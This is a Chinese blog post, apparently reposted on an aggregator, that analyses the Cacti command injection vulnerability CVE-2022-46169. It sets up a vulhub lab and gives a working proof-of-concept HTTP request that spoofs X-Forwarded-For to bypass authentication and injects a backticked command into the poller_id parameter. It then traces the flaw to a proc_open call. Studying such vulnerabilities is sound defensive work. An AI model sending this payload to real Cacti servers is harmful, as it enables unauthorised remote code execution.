当前位置: 首页 > news >正文

Cacti 前台命令注入漏洞(CVE-2022-46169)

一、漏洞简述

Cacti 是一个开源平台,为用户提供了一个强大且可扩展的操作监控和故障管理框架。在受影响的版本中,如果为任何受监控设备选择了特定数据源,则命令注入漏洞允许未经身份验证的用户在运行 Cacti 的服务器上执行任意代码。

二、环境搭建

  • vulhub基于linux系统部署漏洞环境
  • burpsuite抓包工具

步骤A

在 vulhub 中拉取 CVE-2022-46169 镜像

cd vulhub-master/Cacti/CVE-2022-46169/
docker-compose up -d

步骤B 

访问http://ip:port即可,如下图

账户密码都是admin,然后直接next点击默认安装即可,进去如下图

漏洞环境搭建工作完成 

三、POC

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: 192.168.20.150:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

四、漏洞原理分析

漏洞整体分为两部分是登录绕过与命令注入 

身份绕过:

我们来到这一页,很显然易见的发现的一点,用户传过来的所有信息是用户可操控的(指的是可以通过改包来操控)这个文件就到这里,其实最多是集中在remote_agent.php这个文件中,我们进去看一下,首先发现有多php资源的加载和获取

 这里有一个认证身份的代码块,跟进函数看一下

 

 通过构造X-Forwarded-For:127.0.0.1 让下面循环break2跳出的时候 client_addr为127.0.0.1

 

$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);  //sql语句,进行从poller表中获取所有的$pollers

到了这句我们发现执行了个sql查询,我在本地sql服务查了这个表之后
 

再往下看就是一个判断,大致是对ip进行身份验证,然后进行返回,其实很容易看出来是在验证是否为本地ip地址

$client_name = gethostbyaddr($client_addr);

 身份鉴权绕过大致是这样 

命令注入:

我们再回到原来的位置,继续向下,这里有一个set_default_action();我们可以进去看一下执行了什么

这里通过get_request_var可控参数action传值polldata进入到poll_for_data()

我们跟进去看一下,接下来重头戏来了,首先我们可以看到参数的获取,他们是从get_filter_request_var()函数获取,我们可以看一下发现几乎没有任何过滤,就是从请求拿信息,这也对照了POC里面三个参数的来源 

继续往下看

不难发现会根据 $host_id 和 $local_data_ids会被作为sql查询的标准来从poller_item这个表里面找信息,然后存到数组 $items,本地查了一下,这里刚好发现里面有action这个参数,猜测可能要获取action的值 

接下来会进入一个switch...case,这里会用action的值进行选择,这里显然易见发现一个命令执行,这里是在$poller_id这里进行命令注入。

$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

 

 


 

 

 

http://www.xdnf.cn/news/1187155.html

相关文章:

  • 深入解析Linux匿名管道机制与应用
  • 浅析PCIe 6.0 ATS地址转换功能
  • python基础:request模块简介与安装、基本使用,如何发送get请求响应数据,response属性与请求头
  • SpringBoot学习路径--SpringBoot的简单介绍和项目搭建
  • JDK8保姆级安装教程
  • 协作机器人掀起工厂革命:码垛场景如何用数据重塑制造业命脉?
  • day33:零基础学嵌入式之网络——TCP并发服务器
  • 渗透高级-----测试复现(第三次作业)
  • NodeJS搭建SSE接口服务
  • 2025.7.25 测试 总结
  • python学习DAY22打卡
  • 认识编程(3)-语法背后的认知战争:类型声明的前世今生
  • RCE真实漏洞初体验
  • 第三篇:VAE架构详解与PyTorch实现:从零构建AI的“视觉压缩引擎”
  • 练习实践-基础设施-文件共享-windows和linux之间的文件共享-smb服务搭建
  • 【应急响应】进程隐藏技术与检测方式(二)
  • 量子涨落驱动的全局寻优:单光子CIM的理论与实证
  • 在 .NET 中使用 Base64 时容易踩的坑总结
  • CentOS8 使用 Docker 搭建 Jellyfin 家庭影音服务器
  • Android Ntp系统校时流程
  • HTML 常用标签速查表
  • 深入解析 ArkUI 触摸事件机制:从点击到滑动的开发全流程
  • 14-C语言:第14天笔记
  • MyBatis-Plus中使用BaseMapper实现基本CRUD
  • spring boot整合mybatis
  • Haprxy七层代理
  • MyBatisPlus(一)简介与基本CRUD
  • 开疆智能ModbusTCP转Profient网关连接西门子PLC与川崎机器人配置案例
  • leetcode933最近的请求次数
  • 继承接口实现websocke,实现任意路径链接